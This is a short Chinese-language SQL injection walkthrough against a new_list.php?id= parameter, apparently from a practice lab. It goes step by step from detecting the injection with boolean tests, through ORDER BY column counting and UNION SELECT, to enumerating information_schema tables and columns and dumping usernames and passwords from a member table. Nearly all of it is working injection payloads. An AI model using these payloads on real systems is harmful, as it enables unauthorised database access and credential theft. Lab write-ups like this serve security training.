1.寻找注入点
在地址栏加上语句“and 1=1”,页面可以正常显示。再尝试加入语句“and 1=2”,页面显示出错,没有了相关内容。说明地址栏是一个sql 的一个注入口
2.order by判断
/new_list.php?id=1 order by 4
/new_list.php?id=1 order by 5
3.联合查询找回显位置
/new_list.php?id=-1 union select 1,2,3,4
4.查数据库
/new_list.php?id=-1 union select 1,database(),3,4
5.查表
/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
可知,数据库mozhe_Discuz_StormGroup下有两个表,一个StormGroup_member,另一个为notice
6.指定StormGroup_member表查列名信息
/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
7.查询指定数据
/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
8.页面登录发现错误
9.怀疑是否存在有多个用户名和密码
?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1
?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,2
?id=-1 union select 1,name,password,4 from StormGroup_member limit 2,3
说明只有两个密码